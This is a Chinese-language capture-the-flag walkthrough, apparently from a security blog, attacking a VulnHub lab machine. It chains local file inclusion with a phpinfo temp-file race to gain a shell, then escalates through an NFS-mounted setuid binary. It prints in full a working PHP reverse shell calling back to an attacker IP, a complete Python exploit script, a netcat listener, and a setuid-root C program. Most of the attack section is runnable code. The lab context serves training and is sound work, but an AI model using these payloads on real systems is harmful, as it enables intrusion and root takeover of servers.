渗透测试练习No.18 利用phpinfo+LFI(文件包含漏洞)打进主机

1,382 阅读6分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息

下载地址:

https://www.vulnhub.com/entry/hackable-ii,711/

名称: hacksudo系列HackDudo

靶场: VulnHub.com

难度: 简单

发布时间: 2021年3月16日

提示信息: 无

目标: 2个flag

实验环境

 攻击机:VMware  kali    192.168.7.3
 靶机:Vbox     linux   IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

图片

扫描到靶机地址为192.168.7.112

端口扫描

端口扫描是扫描目标机器所开放的服务

sudo nmap -sC -sV -p192.168.7.112 -oN hackdudo.nmap

图片

扫描到8个开放端口,有80(http),111(rpc),1337(ssh),2049、33007、34515、36697、37453不清楚是什么端口,先来看80端口

Web渗透

访问80端口

http://192.168.7.112

图片

首页信息,下面的提示说站长是Vishal并且在几年前做了一个视频游戏,图片是进入游戏的链接

图片

源码中有些注释,信息包含了.htaccess,apple-touch-icon.png,root目录,domain目录,目前只有这些信息,先做个目录扫描同时看看是什么游戏

目录扫描

dirsearch -u http://192.168.7.112 -e php,html,txt,zip

图片

目录扫描出来很多文件,info.php是phpinfo文件,file.php是一个文件访问的页面,还有一个web目录

看下游戏页面

http://192.168.7.112/game.html

图片

游戏页面显示不全,而且下面的进度条一直在减少,画面加载后游戏便结束了,这里应该是需要调试JS,先不管他看其他的

Info.php页面

http://192.168.7.112/info.php

图片

这是个phpinfo页面,暴露一些网站根目录apache配置文件等敏感信息

File.php页面

图片

这是个文件页面,应该需要一些fuzz模糊测试找到正确参数

fuzz模糊测试

当攻击者发现一个页面并判断页面需要加参数才能正常访问时,便会用到模糊测试格式为page.php?FUZZ=xxx

wfuzz -c -w ../../../Dict/SecLists-2021.4/Discovery/Web-Content/common-and-french.txt -u http://192.168.7.112/file.php?FUZZ=/etc/passwd -t 1 |grep -v '238 Ch'

图片

拿到参数file测试一下/etc/passwd

http://192.168.7.112/file.php?file=/etc/passwd

图片

找到2个可以登录ssh的用户root和hacksudo

再来看一下phpinfo信息

图片

可以看到有文件上传权限,有上传有文件包含就可以反弹个shell到攻击机上

phpinfo+LFI(文件包含漏洞)反弹shell

简单介绍一下

原理

  1. php会把post请求, 存储在临时文件中, 并在请求结束后删除临时文件

  2. phpinfo中会显示_FILE变量, 其中会显示临时文件路径

  3. _所以我们通过发送大量的数据请求来拖延php删除临时文件的时间,同时查看_FILE得到的临时文件位置,再用LFI漏洞进行包含执行

步骤

  1. 发送post请求到phpinfo, post的内容为一个创建shell文件的payload

  2. 通过有lfi漏洞的页面包含payload, payload被执行然后创建shell文件

  3. 通过lfi页面包含shell文件, 并传参, 从而进行利用

现在可以构造exp脚本来获取shell

exp下载地址:

https://raw.githubusercontent.com/vulhub/vulhub/master/php/inclusion/exp.py

还需要修改一下

图片

将phpinfo.php改成info.php,将lfi.php改成file.php

图片

再将这里的内容替换为反弹shell

<?php
 set_time_limit (0);
 $VERSION = "1.0";
 $ip = '127.0.0.1';  // CHANGE THIS
 $port = 1234;       // CHANGE THIS
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
 $shell = 'uname -a; w; id; /bin/sh -i';
 $daemon = 0;
 $debug = 0;
 
 //
 // Daemonise ourself if possible to avoid zombies later
 //
 
 // pcntl_fork is hardly ever available, but will allow us to daemonise
 // our php process and avoid zombies.  Worth a try...
 if (function_exists('pcntl_fork')) {
     // Fork and have the parent process exit
     $pid = pcntl_fork();
 
     if ($pid == -1) {
         printit("ERROR: Can't fork");
         exit(1);
 }
 
     if ($pid) {
         exit(0);  // Parent exits
 }
 
     // Make the current process a session leader
     // Will only succeed if we forked
     if (posix_setsid() == -1) {
         printit("Error: Can't setsid()");
         exit(1);
 }
 
     $daemon = 1;
 } else {
     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
 }
 
 // Change to a safe directory
 chdir("/");
 
 // Remove any umask we inherited
 umask(0);
 
 //
 // Do the reverse shell...
 //
 
 // Open reverse connection
 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
 if (!$sock) {
     printit("$errstr ($errno)");
     exit(1);
 }
 
 // Spawn shell process
 $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
 );
 
 $process = proc_open($shell, $descriptorspec, $pipes);
 
 if (!is_resource($process)) {
     printit("ERROR: Can't spawn shell");
     exit(1);
 }
 
 // Set everything to non-blocking
 // Reason: Occsionally reads will block, even though stream_select tells us they won't
 stream_set_blocking($pipes[0], 0);
 stream_set_blocking($pipes[1], 0);
 stream_set_blocking($pipes[2], 0);
 stream_set_blocking($sock, 0);
 
 printit("Successfully opened reverse shell to $ip:$port");
 
 while (1) {
     // Check for end of TCP connection
     if (feof($sock)) {
         printit("ERROR: Shell connection terminated");
         break;
 }
 
     // Check for end of STDOUT
     if (feof($pipes[1])) {
         printit("ERROR: Shell process terminated");
         break;
 }
 
     // Wait until a command is end down $sock, or some
     // command output is available on STDOUT or STDERR
     $read_a = array($sock, $pipes[1], $pipes[2]);
     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
     // If we can read from the TCP socket, send
     // data to process's STDIN
     if (in_array($sock, $read_a)) {
         if ($debug) printit("SOCK READ");
         $input = fread($sock, $chunk_size);
         if ($debug) printit("SOCK: $input");
         fwrite($pipes[0], $input);
 }
 
     // If we can read from the process's STDOUT
     // send data down tcp connection
     if (in_array($pipes[1], $read_a)) {
         if ($debug) printit("STDOUT READ");
         $input = fread($pipes[1], $chunk_size);
         if ($debug) printit("STDOUT: $input");
         fwrite($sock, $input);
 }
 
     // If we can read from the process's STDERR
     // send data down tcp connection
     if (in_array($pipes[2], $read_a)) {
         if ($debug) printit("STDERR READ");
         $input = fread($pipes[2], $chunk_size);
         if ($debug) printit("STDERR: $input");
         fwrite($sock, $input);
 }
 }
 
 fclose($sock);
 fclose($pipes[0]);
 fclose($pipes[1]);
 fclose($pipes[2]);
 proc_close($process);
 
 // Like print, but does nothing if we've daemonised ourself
 // (I can't figure out how to redirect STDOUT like a proper daemon)
 function printit ($string) {
     if (!$daemon) {
         print "$string\n";
 }
 }
 
 ?>

完整的payload:

 #!/usr/bin/python
 import sys
 import threading
 import socket
 
 def setup(host, port):
     TAG="Security Test"
     PAYLOAD="""%s\r
 <?php
 set_time_limit (0);
 $VERSION = "1.0";
 $ip = '192.168.7.3'; // CHANGE THIS
 $port = 4444;       // CHANGE THIS
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
 $shell = 'uname -a; w; id; /bin/sh -i';
 $daemon = 0;
 $debug = 0;
 
 //
 // Daemonise ourself if possible to avoid zombies later
 //
 
 // pcntl_fork is hardly ever available, but will allow us to daemonise
 // our php process and avoid zombies. Worth a try...
 if (function_exists('pcntl_fork')) {
 // Fork and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
 printit("ERROR: Can't fork");
 exit(1);
 }
 
 if ($pid) {
 exit(0); // Parent exits
 }
 
 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
 printit("Error: Can't setsid()");
 exit(1);
 }
 
 $daemon = 1;
 } else {
 printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
 }
 
 // Change to a safe directory
 chdir("/");
 
 // Remove any umask we inherited
 umask(0);
 
 //
 // Do the reverse shell...
 //
 
 // Open reverse connection
 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
 if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
 }
 
 // Spawn shell process
 $descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the child will read from
    1 => array("pipe", "w"), // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
 );
 
 $process = proc_open($shell, $descriptorspec, $pipes);
 
 if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
 }
 
 // Set everything to non-blocking
 // Reason: Occsionally reads will block, even though stream_select tells us they won't
 stream_set_blocking($pipes[0], 0);
 stream_set_blocking($pipes[1], 0);
 stream_set_blocking($pipes[2], 0);
 stream_set_blocking($sock, 0);
 
 printit("Successfully opened reverse shell to $ip:$port");
 
 while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
 printit("ERROR: Shell connection terminated");
 break;
 }
 
 // Check for end of STDOUT
 if (feof($pipes[1])) {
 printit("ERROR: Shell process terminated");
 break;
 }
 
 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
 if ($debug) printit("SOCK READ");
 $input = fread($sock, $chunk_size);
 if ($debug) printit("SOCK: $input");
 fwrite($pipes[0], $input);
 }
 
 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
 if ($debug) printit("STDOUT READ");
 $input = fread($pipes[1], $chunk_size);
 if ($debug) printit("STDOUT: $input");
 fwrite($sock, $input);
 }
 
 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
 if ($debug) printit("STDERR READ");
 $input = fread($pipes[2], $chunk_size);
 if ($debug) printit("STDERR: $input");
 fwrite($sock, $input);
 }
 }
 
 fclose($sock);
 fclose($pipes[0]);
 fclose($pipes[1]);
 fclose($pipes[2]);
 proc_close($process);
 
 // Like print, but does nothing if we've daemonised ourself
 // (I can't figure out how to redirect STDOUT like a proper daemon)
 function printit ($string) {
 if (!$daemon) {
 print "$string\n";
 }
 }
 
 ?>
 \r""" % TAG
     REQ1_DATA="""-----------------------------7dbff1ded0714\r
 Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
 Content-Type: text/plain\r
 \r
 %s
 -----------------------------7dbff1ded0714--\r""" % PAYLOAD
     padding="A" * 5000
     REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
 Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
 HTTP_ACCEPT: """ + padding + """\r
 HTTP_USER_AGENT: """+padding+"""\r
 HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
 HTTP_PRAGMA: """+padding+"""\r
 Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
 Content-Length: %s\r
 Host: %s\r
 \r
 %s""" %(len(REQ1_DATA),host,REQ1_DATA)
     #modify this to suit the LFI script  
     LFIREQ="""GET /file.php?file=%s HTTP/1.1\r
 User-Agent: Mozilla/4.0\r
 Proxy-Connection: Keep-Alive\r
 Host: %s\r
 \r
 \r
 """
     return (REQ1, TAG, LFIREQ)
 
 def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
 
     s.connect((host, port))
     s2.connect((host, port))
 
     s.send(phpinforeq)
     d = ""
     while len(d) < offset:
         d += s.recv(offset)
     try:
         i = d.index("[tmp_name] =&gt; ")
         fn = d[i+17:i+31]
     except ValueError:
         return None
 
     s2.send(lfireq % (fn, host))
     d = s2.recv(4096)
     s.close()
     s2.close()
 
     if d.find(tag) != -1:
         return fn
 
 counter=0
 class ThreadWorker(threading.Thread):
     def __init__(self, e, l, m, *args):
         threading.Thread.__init__(self)
         self.event = e
         self.lock =  l
         self.maxattempts = m
         self.args = args
 
     def run(self):
         global counter
         while not self.event.is_set():
             with self.lock:
                 if counter >= self.maxattempts:
                     return
                 counter+=1
 
             try:
                 x = phpInfoLFI(*self.args)
                 if self.event.is_set():
                     break                
                 if x:
                     print "\nGot it! Shell created in /tmp/g"
                     self.event.set()
                     
             except socket.error:
                 return
     
 
 def getOffset(host, port, phpinforeq):
     """Gets offset of tmp_name in the php output"""
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect((host,port))
     s.send(phpinforeq)
     
     d = ""
     while True:
         i = s.recv(4096)
         d+=i        
         if i == "":
             break
         # detect the final chunk
         if i.endswith("0\r\n\r\n"):
             break
     s.close()
     i = d.find("[tmp_name] =&gt; ")
     if i == -1:
         raise ValueError("No php tmp_name in phpinfo output")
     
     print "found %s at %i" % (d[i:i+10],i)
     # padded up a bit
     return i+256
 
 def main():
     
     print "LFI With PHPInfo()"
     print "-=" * 30
 
     if len(sys.argv) < 2:
         print "Usage: %s host [port] [threads]" % sys.argv[0]
         sys.exit(1)
 
     try:
         host = socket.gethostbyname(sys.argv[1])
     except socket.error, e:
         print "Error with hostname %s: %s" % (sys.argv[1], e)
         sys.exit(1)
 
     port=80
     try:
         port = int(sys.argv[2])
     except IndexError:
         pass
     except ValueError, e:
         print "Error with port %d: %s" % (sys.argv[2], e)
         sys.exit(1)
     
     poolsz=10
     try:
         poolsz = int(sys.argv[3])
     except IndexError:
         pass
     except ValueError, e:
         print "Error with poolsz %d: %s" % (sys.argv[3], e)
         sys.exit(1)
 
     print "Getting initial offset...",  
     reqphp, tag, reqlfi = setup(host, port)
     offset = getOffset(host, port, reqphp)
     sys.stdout.flush()
 
     maxattempts = 1000
     e = threading.Event()
     l = threading.Lock()
 
     print "Spawning worker pool (%d)..." % poolsz
     sys.stdout.flush()
 
     tp = []
     for i in range(0,poolsz):
         tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
 
     for t in tp:
         t.start()
     try:
         while not e.wait(1):
             if e.is_set():
                 break
             with l:
                 sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                 sys.stdout.flush()
                 if counter >= maxattempts:
                     break
         print
         if e.is_set():
             print "Woot! \m/"
         else:
             print ":("
     except KeyboardInterrupt:
         print "\nTelling threads to shutdown..."
         e.set()
     
     print "Shuttin' down..."
     for t in tp:
         t.join()
 
 if __name__=="__main__":
     main()

payload准备好后就可以在攻击机上监听4444端口

nc -lvvp 4444

图片

开始执行payload

python lfiexp.py 靶机IP 靶机端口 线程数
python lfiexp.py 192.168.7.112 80 100

图片

在发送第276次个数据包时上传成功了

图片

攻击机上出现shell界面,现在切换到可以交互的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

需要切换到完整的可以看之前的文章

查找下敏感信息

sudo -l

SUID提权

sudo -l 需要密码,再换suid

 find / -perm -u=s -type f 2>/dev/null

是不是挂载了什么

 cd /nmt
 ls
 cd nfs
 ls
 cat flag1.txt

图片

拿到第1个flag

看到这个磁盘挂载想起之前扫描的2049端口就是NFS挂载的端口,让我们试着来把他挂载到攻击机上

先建个文件夹

mkdir tmp

再把靶机上的目录挂载到tmp文件夹上

 sudo mount -t nfs 192.68.7.112:/mnt/nfs tmp
 ls
 cd tmp
 ls

图片

OK,挂载成功,现在我们需要写个提权文件

1.kali攻击机挂载目录上创建exp文件,并加上s权限

sudo vi exp.c

exp.c内容

#include<stdlib.h>
 #include <unistd.h>
 int main()
{
 setuid(0);//run as root
 system("id");
 system("/bin/bash");
 }

编译加s权限

 sudo gcc exp.c -o exp
 chmod +s exp

图片

2.靶机上执行exp

./exp

图片

提权成功,查看rootflag

 cd /root
 ls
 cat root.txt

图片

游戏结束,明天见小伙伴们

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

图片